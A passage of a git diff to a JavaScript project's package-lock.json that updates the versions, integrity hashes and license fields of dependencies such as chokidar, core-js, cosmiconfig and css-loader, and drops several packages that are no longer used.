"sha512-aYeC/jDgSEx8SHWZvANYMioYMZ2KX02W6f6uVfyteuCGcadDLcYVHdfdygsTQkQ4TKn5lghoojAsPj5pu0SnvQ==", + "license": "MIT", + "dependencies": { + "@kurkle/color": "^0.3.0" + }, + "engines": { + "pnpm": ">=8" + } }, "node_modules/chartjs-adapter-luxon": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/chartjs-adapter-luxon/-/chartjs-adapter-luxon-1.2.0.tgz", - "integrity": "sha512-h1lEns7+8cUN/Dmk24dhrT9hpAimKImQxzHpILqXn2kocdzj9b/fDlBa8v8/OMq5rq0uZEx/NV1WpByH4l2/Rw==", + "version": "1.3.1", + "resolved": "https://registry.npmjs.org/chartjs-adapter-luxon/-/chartjs-adapter-luxon-1.3.1.tgz", + "integrity": "sha512-yxHov3X8y+reIibl1o+j18xzrcdddCLqsXhriV2+aQ4hCR66IYFchlRXUvrJVoxglJ380pgytU7YWtoqdIgqhg==", "peerDependencies": { - "chart.js": "^3.0.0", + "chart.js": ">=3.0.0", "luxon": ">=1.0.0" } }, @@ -5427,53 +5655,18 @@ } }, "node_modules/chokidar": { - "version": "3.5.3", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz", - "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-4.0.1.tgz", + "integrity": "sha512-n8enUVCED/KVRQlab1hr3MVpcVMvxtZjmEa956u+4YijlmQED223XMSYj2tLuKvr4jcCTzNNMpQDUer72MMmzA==", "dev": true, - "funding": [ - { - "type": "individual", - "url": "https://paulmillr.com/funding/" - } - ], "dependencies": { - "anymatch": "~3.1.2", - "braces": "~3.0.2", - "glob-parent": "~5.1.2", - "is-binary-path": "~2.1.0", - "is-glob": "~4.0.1", - "normalize-path": "~3.0.0", - "readdirp": "~3.6.0" + "readdirp": "^4.0.1" }, "engines": { - "node": ">= 8.10.0" - }, - "optionalDependencies": { - "fsevents": "~2.3.2" - } - }, - "node_modules/chokidar/node_modules/glob-parent": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", - "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", - "dev": true, - "dependencies": { - "is-glob": "^4.0.1" + "node": ">= 14.16.0" }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/chownr": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/chownr/-/chownr-2.0.0.tgz", - "integrity": "sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==", - "dev": true, - "optional": true, - "peer": true, - "engines": { - "node": ">=10" + "funding": { + "url": "https://paulmillr.com/funding/" } }, "node_modules/chrome-trace-event": { @@ -5491,64 +5684,45 @@ "integrity": "sha512-xmDt/QIAdeZ9+nfdPsaBCpMvHNLFiLdjj59qjqn+6iPe6YmHGQ35sBnQ8uslRBXFmXkiZQOJRjvQeoGppoTjjg==", "dev": true }, - "node_modules/cids": { - "version": "0.7.5", - "resolved": "https://registry.npmjs.org/cids/-/cids-0.7.5.tgz", - "integrity": "sha512-zT7mPeghoWAu+ppn8+BS1tQ5qGmbMfB4AregnQjA/qHY3GC1m1ptI9GkWNlgeu38r7CuRdXB47uY2XgAYt6QVA==", - "deprecated": "This module has been superseded by the multiformats module", + "node_modules/cipher-base": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/cipher-base/-/cipher-base-1.0.6.tgz", + "integrity": "sha512-3Ek9H3X6pj5TgenXYtNWdaBon1tgYCaebd+XPg0keyjEbEfkD4KkmAxkQ/i1vYvxdcT5nscLBfq9VJRmCBcFSw==", + "license": "MIT", "dependencies": { - "buffer": "^5.5.0", - "class-is": "^1.1.0", - "multibase": "~0.6.0", - "multicodec": "^1.0.0", - "multihashes": "~0.4.15" + "inherits": "^2.0.4", + "safe-buffer": "^5.2.1" }, "engines": { - "node": ">=4.0.0", - "npm": ">=3.0.0" - } - }, - "node_modules/cids/node_modules/multicodec": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/multicodec/-/multicodec-1.0.4.tgz", - "integrity": "sha512-NDd7FeS3QamVtbgfvu5h7fd1IlbaC4EQ0/pgU4zqE2vdHCmBGsUa0TiM8/TdSeG6BMPC92OOCf8F1ocE/Wkrrg==", - "deprecated": "This module has been superseded by the multiformats module", - "dependencies": { - "buffer": "^5.6.0", - "varint": "^5.0.0" + "node": ">= 0.10" } }, - "node_modules/cipher-base": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/cipher-base/-/cipher-base-1.0.4.tgz", - "integrity": "sha512-Kkht5ye6ZGmwv40uUDZztayT2ThLQGfnj/T71N/XzeZeo3nf8foyW7zGTsPYkEya3m5f3cAypH+qe7YOrM1U2Q==", - "dependencies": { - "inherits": "^2.0.1", - "safe-buffer": "^5.0.1" - } + "node_modules/cipher-base/node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" }, "node_modules/cjs-module-lexer": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-1.2.2.tgz", - "integrity": "sha512-cOU9usZw8/dXIXKtwa8pM0OTJQuJkxMN6w30csNRUerHfeQ5R6U3kkU/FtJeIf3M202OHfY2U8ccInBG7/xogA==", + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-1.2.3.tgz", + "integrity": "sha512-0TNiGstbQmCFwt4akjjBg5pLRTSyj/PkWQ1ZoO2zntmg9yLqSRxwEa4iCfQLGjqhiqBfOJa7W/E8wfGrTDmlZQ==", "dev": true }, - "node_modules/class-is": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/class-is/-/class-is-1.1.0.tgz", - "integrity": "sha512-rhjH9AG1fvabIDoGRVH587413LPjTZgmDF9fOFCbFJQV4yuocX1mHxxvXI4g3cGwbVY9wAYIoKlg1N79frJKQw==" - }, - "node_modules/clean-stack": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz", - "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==", - "dev": true, - "optional": true, - "peer": true, - "engines": { - "node": ">=6" - } - }, "node_modules/clipboard": { "version": "2.0.11", "resolved": "https://registry.npmjs.org/clipboard/-/clipboard-2.0.11.tgz", @@ -5560,14 +5734,17 @@ } }, "node_modules/cliui": { - "version": "7.0.4", - "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz", - "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==", + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", + "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==", "dev": true, "dependencies": { "string-width": "^4.2.0", - "strip-ansi": "^6.0.0", + "strip-ansi": "^6.0.1", "wrap-ansi": "^7.0.0" + }, + "engines": { + "node": ">=12" } }, "node_modules/clone": { @@ -5592,17 +5769,6 @@ "node": ">=6" } }, - "node_modules/clone-response": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.3.tgz", - "integrity": "sha512-ROoL94jJH2dUVML2Y/5PEDNaSHgeOdSDicUyS7izcF63G6sTc/FTjLub4b8Il9S8S0beOfYt0TaA5qvFK+w0wA==", - "dependencies": { - "mimic-response": "^1.0.0" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, "node_modules/co": { "version": "4.6.0", "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz", @@ -5614,9 +5780,9 @@ } }, "node_modules/collect-v8-coverage": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/collect-v8-coverage/-/collect-v8-coverage-1.0.1.tgz", - "integrity": "sha512-iBPtljfCNcTKNAto0KEtDfZ3qzjJvqE3aTGZsbhjSBlorqpXJlaWWtPO35D+ZImoC3KWejX64o+yPGxhWSTzfg==", + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/collect-v8-coverage/-/collect-v8-coverage-1.0.2.tgz", + "integrity": "sha512-lHl4d5/ONEbLlJvaJNtsF/Lz+WvB07u2ycqTYbdrq7UypDXailES4valYb2eWiJFxZlVmpGekfqoxQhzyFdT4Q==", "dev": true }, "node_modules/color-convert": { @@ -5632,22 +5798,12 @@ "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=" }, - "node_modules/color-support": { - "version": "1.1.3", - "resolved": "https://registry.npmjs.org/color-support/-/color-support-1.1.3.tgz", - "integrity": "sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg==", - "dev": true, - "optional": true, - "peer": true, - "bin": { - "color-support": "bin.js" - } - }, "node_modules/colord": { - "version": "2.9.2", - "resolved": "https://registry.npmjs.org/colord/-/colord-2.9.2.tgz", - "integrity": "sha512-Uqbg+J445nc1TKn4FoDPS6ZZqAvEDnwrH42yo8B40JSOgSLxMZ/gt3h4nmCtPLQeXhjJJkqBx7SCY35WnIixaQ==", - "dev": true + "version": "2.9.3", + "resolved": "https://registry.npmjs.org/colord/-/colord-2.9.3.tgz", + "integrity": "sha512-jeC1axXpnb0/2nn/Y1LPuLdgXBLH7aDcHu4KEKfqw3CUhX7ZpfBSlPKyqXE6btIgEzfWtrX3/tyBCaCvXvMkOw==", + "dev": true, + "license": "MIT" }, "node_modules/colorette": { "version": "2.0.16", @@ -5671,115 +5827,30 @@ "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", "dev": true, + "license": "MIT", "engines": { "node": ">= 10" } }, - "node_modules/commondir": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/commondir/-/commondir-1.0.1.tgz", - "integrity": "sha1-3dgA2gxmEnOTzKWVDqloo6rxJTs=", - "dev": true - }, - "node_modules/compress-brotli": { - "version": "1.3.8", - "resolved": "https://registry.npmjs.org/compress-brotli/-/compress-brotli-1.3.8.tgz", - "integrity": "sha512-lVcQsjhxhIXsuupfy9fmZUFtAIdBmXA7EGY6GBdgZ++qkM9zG4YFT8iU7FoBxzryNDMOpD1HIFHUSX4D87oqhQ==", - "dependencies": { - "@types/json-buffer": "~3.0.0", - "json-buffer": "~3.0.1" - }, - "engines": { - "node": ">= 12" - } - }, "node_modules/concat-map": { "version": "0.0.1", "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=", "dev": true }, - "node_modules/console-control-strings": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz", - "integrity": "sha1-PXz0Rk22RG6mRL9LOVB/mFEAjo4=", + "node_modules/convert-source-map": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.8.0.tgz", + "integrity": "sha512-+OQdjP49zViI/6i7nIJpA8rAl4sV/JdPfU9nZs3VqOwGIgizICvuN2ru6fMd+4llL0tar18UYJXfZ/TWtmhUjA==", "dev": true, - "optional": true, - "peer": true - }, - "node_modules/content-disposition": { - "version": "0.5.4", - "resolved": "https://registry.npmjs.org/content-disposition/-/content-disposition-0.5.4.tgz", - "integrity": "sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==", "dependencies": { - "safe-buffer": "5.2.1" - }, - "engines": { - "node": ">= 0.6" + "safe-buffer": "~5.1.1" } }, - "node_modules/content-disposition/node_modules/safe-buffer": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", - "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/feross" - }, - { - "type": "patreon", - "url": "https://www.patreon.com/feross" - }, - { - "type": "consulting", - "url": "https://feross.org/support" - } - ] - }, - "node_modules/content-hash": { - "version": "2.5.2", - "resolved": "https://registry.npmjs.org/content-hash/-/content-hash-2.5.2.tgz", - "integrity": "sha512-FvIQKy0S1JaWV10sMsA7TRx8bpU+pqPkhbsfvOJAdjRXvYxEckAwQWGwtRjiaJfh+E0DvcWUGqcdjwMGFjsSdw==", - "dependencies": { - "cids": "^0.7.1", - "multicodec": "^0.5.5", - "multihashes": "^0.4.15" - } - }, - "node_modules/content-type": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/content-type/-/content-type-1.0.4.tgz", - "integrity": "sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/convert-source-map": { - "version": "1.8.0", - "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.8.0.tgz", - "integrity": "sha512-+OQdjP49zViI/6i7nIJpA8rAl4sV/JdPfU9nZs3VqOwGIgizICvuN2ru6fMd+4llL0tar18UYJXfZ/TWtmhUjA==", - "dependencies": { - "safe-buffer": "~5.1.1" - } - }, - "node_modules/cookie": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.5.0.tgz", - "integrity": "sha512-YZ3GUyn/o8gfKJlnlX7g7xq4gyO6OSuhGPKaaGssGB2qgDUS0gPgtTvoyZLTt9Ab6dC4hfc9dV5arkvc/OCmrw==", - "engines": { - "node": ">= 0.6" - } - }, - "node_modules/cookie-signature": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/cookie-signature/-/cookie-signature-1.0.6.tgz", - "integrity": "sha512-QADzlaHc8icV8I7vbaJXJwod9HWYp8uCqf1xa4OfNu1T7JVxQIrUgOWtHdNDtPiywmFbiS12VjotIXLrKM3orQ==" - }, "node_modules/cookiejar": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/cookiejar/-/cookiejar-2.1.3.tgz", - "integrity": "sha512-JxbCBUdrfr6AQjOXrxoTvAMJO4HBTUIlBzslcJPAz+/KT8yk53fXun51u+RenNYvad/+Vc2DIz5o9UxlCDymFQ==" + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/cookiejar/-/cookiejar-2.1.4.tgz", + "integrity": "sha512-LDx6oHrK+PhzLKJU9j5S7/Y3jM/mUHvD/DeI1WQmJn652iPC5Y4TBzC9l+5OMOXlyTTA+SmVUPm0HQUwpD5Jqw==" }, "node_modules/copy-to-clipboard": { "version": "3.3.2", @@ -5790,20 +5861,20 @@ } }, "node_modules/copy-webpack-plugin": { - "version": "11.0.0", - "resolved": "https://registry.npmjs.org/copy-webpack-plugin/-/copy-webpack-plugin-11.0.0.tgz", - "integrity": "sha512-fX2MWpamkW0hZxMEg0+mYnA40LTosOSa5TqZ9GYIBzyJa9C3QUaMPSE2xAi/buNr8u89SfD9wHSQVBzrRa/SOQ==", + "version": "13.0.0", + "resolved": "https://registry.npmjs.org/copy-webpack-plugin/-/copy-webpack-plugin-13.0.0.tgz", + "integrity": "sha512-FgR/h5a6hzJqATDGd9YG41SeDViH+0bkHn6WNXCi5zKAZkeESeSxLySSsFLHqLEVCh0E+rITmCf0dusXWYukeQ==", "dev": true, + "license": "MIT", "dependencies": { - "fast-glob": "^3.2.11", "glob-parent": "^6.0.1", - "globby": "^13.1.1", "normalize-path": "^3.0.0", - "schema-utils": "^4.0.0", - "serialize-javascript": "^6.0.0" + "schema-utils": "^4.2.0", + "serialize-javascript": "^6.0.2", + "tinyglobby": "^0.2.12" }, "engines": { - "node": ">= 14.15.0" + "node": ">= 18.12.0" }, "funding": { "type": "opencollective", @@ -5813,121 +5884,77 @@ "webpack": "^5.1.0" } }, - "node_modules/copy-webpack-plugin/node_modules/ajv": { - "version": "8.9.0", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.9.0.tgz", - "integrity": "sha512-qOKJyNj/h+OWx7s5DePL6Zu1KeM9jPZhwBqs+7DzP6bGOvqzVCSf0xueYmVuaC/oQ/VtS2zLMLHdQFbkka+XDQ==", - "dev": true, - "dependencies": { - "fast-deep-equal": "^3.1.1", - "json-schema-traverse": "^1.0.0", - "require-from-string": "^2.0.2", - "uri-js": "^4.2.2" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/epoberezkin" - } - }, - "node_modules/copy-webpack-plugin/node_modules/ajv-keywords": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", - "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", - "dev": true, - "dependencies": { - "fast-deep-equal": "^3.1.3" - }, - "peerDependencies": { - "ajv": "^8.8.2" - } - }, - "node_modules/copy-webpack-plugin/node_modules/json-schema-traverse": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", - "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", - "dev": true - }, - "node_modules/copy-webpack-plugin/node_modules/schema-utils": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz", - "integrity": "sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==", - "dev": true, - "dependencies": { - "@types/json-schema": "^7.0.9", - "ajv": "^8.8.0", - "ajv-formats": "^2.1.1", - "ajv-keywords": "^5.0.0" - }, - "engines": { - "node": ">= 12.13.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/webpack" - } - }, "node_modules/core-js": { - "version": "3.25.0", - "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.25.0.tgz", - "integrity": "sha512-CVU1xvJEfJGhyCpBrzzzU1kjCfgsGUxhEvwUV2e/cOedYWHdmluamx+knDnmhqALddMG16fZvIqvs9aijsHHaA==", + "version": "3.43.0", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.43.0.tgz", + "integrity": "sha512-N6wEbTTZSYOY2rYAn85CuvWWkCK6QweMn7/4Nr3w+gDBeBhk/x4EJeY6FPo4QzDoJZxVTv8U7CMvgWk6pOHHqA==", "hasInstallScript": true, + "license": "MIT", "funding": { "type": "opencollective", "url": "https://opencollective.com/core-js" } }, "node_modules/core-js-compat": { - "version": "3.24.1", - "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.24.1.tgz", - "integrity": "sha512-XhdNAGeRnTpp8xbD+sR/HFDK9CbeeeqXT6TuofXh3urqEevzkWmLRgrVoykodsw8okqo2pu1BOmuCKrHx63zdw==", + "version": "3.44.0", + "resolved": "https://registry.npmjs.org/core-js-compat/-/core-js-compat-3.44.0.tgz", + "integrity": "sha512-JepmAj2zfl6ogy34qfWtcE7nHKAJnKsQFRn++scjVS2bZFllwptzw61BZcZFYBPpUznLfAvh0LGhxKppk04ClA==", + "license": "MIT", "dependencies": { - "browserslist": "^4.21.3", - "semver": "7.0.0" + "browserslist": "^4.25.1" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/core-js" } }, - "node_modules/core-js-compat/node_modules/semver": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.0.0.tgz", - "integrity": "sha512-+GB6zVA9LWh6zovYQLALHwv5rb2PHGlJi3lfiqIHxR0uuwCgefcOJc59v9fv1w8GbStwxuuqqAjI9NMAOOgq1A==", - "bin": { - "semver": "bin/semver.js" - } - }, "node_modules/core-util-is": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=" }, - "node_modules/cors": { - "version": "2.8.5", - "resolved": "https://registry.npmjs.org/cors/-/cors-2.8.5.tgz", - "integrity": "sha512-KIHbLJqu73RGr/hnbrO9uBeixNGuvSQjul/jdFvS/KFSIH1hWVd1ng7zOHx+YrEfInLG7q4n6GHQ9cDtxv/P6g==", + "node_modules/cosmiconfig": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-9.0.0.tgz", + "integrity": "sha512-itvL5h8RETACmOTFc4UfIyB2RfEHi71Ax6E/PivVxq9NseKbOWpeyHEOIbmAw1rs8Ak0VursQNww7lf7YtUwzg==", + "dev": true, "dependencies": { - "object-assign": "^4", - "vary": "^1" + "env-paths": "^2.2.1", + "import-fresh": "^3.3.0", + "js-yaml": "^4.1.0", + "parse-json": "^5.2.0" }, "engines": { - "node": ">= 0.10" + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/d-fischer" + }, + "peerDependencies": { + "typescript": ">=4.9.5" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } } }, - "node_modules/cosmiconfig": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-7.0.1.tgz", - "integrity": "sha512-a1YWNUV2HwGimB7dU2s1wUMurNKjpx60HxBB6xUM8Re+2s1g1IIfJvFR0/iCF+XHdE0GMTKTuLR32UQff4TEyQ==", + "node_modules/cosmiconfig/node_modules/argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", + "dev": true + }, + "node_modules/cosmiconfig/node_modules/js-yaml": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz", + "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==", "dev": true, "dependencies": { - "@types/parse-json": "^4.0.0", - "import-fresh": "^3.2.1", - "parse-json": "^5.0.0", - "path-type": "^4.0.0", - "yaml": "^1.10.0" + "argparse": "^2.0.1" }, - "engines": { - "node": ">=10" + "bin": { + "js-yaml": "bin/js-yaml.js" } }, "node_modules/crc-32": { @@ -5980,6 +6007,27 @@ "sha.js": "^2.4.8" } }, + "node_modules/create-jest": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/create-jest/-/create-jest-29.7.0.tgz", + "integrity": "sha512-Adz2bdH0Vq3F53KEMJOoftQFutWCukm6J24wbPWRO4k1kMY7gS7ds/uoJkNuV8wDCtWWnuwGcJwpWcih+zEW1Q==", + "dev": true, + "dependencies": { + "@jest/types": "^29.6.3", + "chalk": "^4.0.0", + "exit": "^0.1.2", + "graceful-fs": "^4.2.9", + "jest-config": "^29.7.0", + "jest-util": "^29.7.0", + "prompts": "^2.0.1" + }, + "bin": { + "create-jest": "bin/create-jest.js" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + } + }, "node_modules/cross-fetch": { "version": "2.2.6", "resolved": "https://registry.npmjs.org/cross-fetch/-/cross-fetch-2.2.6.tgz", @@ -5990,10 +6038,11 @@ } }, "node_modules/cross-spawn": { - "version": "7.0.3", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz", - "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", + "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", "dev": true, + "license": "MIT", "dependencies": { "path-key": "^3.1.0", "shebang-command": "^2.0.0", @@ -6004,26 +6053,61 @@ } }, "node_modules/crypto-browserify": { - "version": "3.12.0", - "resolved": "https://registry.npmjs.org/crypto-browserify/-/crypto-browserify-3.12.0.tgz", - "integrity": "sha512-fz4spIh+znjO2VjL+IdhEpRJ3YN6sMzITSBijk6FK2UvTqruSQW+/cCZTSNsMiZNvUeq0CqurF+dAbyiGOY6Wg==", + "version": "3.12.1", + "resolved": "https://registry.npmjs.org/crypto-browserify/-/crypto-browserify-3.12.1.tgz", + "integrity": "sha512-r4ESw/IlusD17lgQi1O20Fa3qNnsckR126TdUuBgAu7GBYSIPvdNyONd3Zrxh0xCwA4+6w/TDArBPsMvhur+KQ==", "dependencies": { - "browserify-cipher": "^1.0.0", - "browserify-sign": "^4.0.0", - "create-ecdh": "^4.0.0", - "create-hash": "^1.1.0", - "create-hmac": "^1.1.0", - "diffie-hellman": "^5.0.0", - "inherits": "^2.0.1", - "pbkdf2": "^3.0.3", - "public-encrypt": "^4.0.0", - "randombytes": "^2.0.0", - "randomfill": "^1.0.3" + "browserify-cipher": "^1.0.1", + "browserify-sign": "^4.2.3", + "create-ecdh": "^4.0.4", + "create-hash": "^1.2.0", + "create-hmac": "^1.1.7", + "diffie-hellman": "^5.0.3", + "hash-base": "~3.0.4", + "inherits": "^2.0.4", + "pbkdf2": "^3.1.2", + "public-encrypt": "^4.0.3", + "randombytes": "^2.1.0", + "randomfill": "^1.0.4" }, "engines": { - "node": "*" + "node": ">= 0.10" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/crypto-browserify/node_modules/hash-base": { + "version": "3.0.5", + "resolved": "https://registry.npmjs.org/hash-base/-/hash-base-3.0.5.tgz", + "integrity": "sha512-vXm0l45VbcHEVlTCzs8M+s0VeYsB2lnlAaThoLKGXr3bE/VWDOelNUnycUPEhKEaXARL2TEFjBOyUiM6+55KBg==", + "dependencies": { + "inherits": "^2.0.4", + "safe-buffer": "^5.2.1" + }, + "engines": { + "node": ">= 0.10" } }, + "node_modules/crypto-browserify/node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, "node_modules/css-color-keywords": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/css-color-keywords/-/css-color-keywords-1.0.0.tgz", @@ -6033,67 +6117,57 @@ } }, "node_modules/css-declaration-sorter": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/css-declaration-sorter/-/css-declaration-sorter-6.3.0.tgz", - "integrity": "sha512-OGT677UGHJTAVMRhPO+HJ4oKln3wkBTwtDFH0ojbqm+MJm6xuDMHp2nkhh/ThaBqq20IbraBQSWKfSLNHQO9Og==", + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/css-declaration-sorter/-/css-declaration-sorter-7.2.0.tgz", + "integrity": "sha512-h70rUM+3PNFuaBDTLe8wF/cdWu+dOZmb7pJt8Z2sedYbAcQVQV/tEchueg3GWxwqS0cxtbxmaHEdkNACqcvsow==", "dev": true, + "license": "ISC", "engines": { - "node": "^10 || ^12 || >=14" + "node": "^14 || ^16 || >=18" }, "peerDependencies": { "postcss": "^8.0.9" } }, "node_modules/css-loader": { - "version": "5.2.7", - "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-5.2.7.tgz", - "integrity": "sha512-Q7mOvpBNBG7YrVGMxRxcBJZFL75o+cH2abNASdibkj/fffYD8qWbInZrD0S9ccI6vZclF3DsHE7njGlLtaHbhg==", + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/css-loader/-/css-loader-7.1.2.tgz", + "integrity": 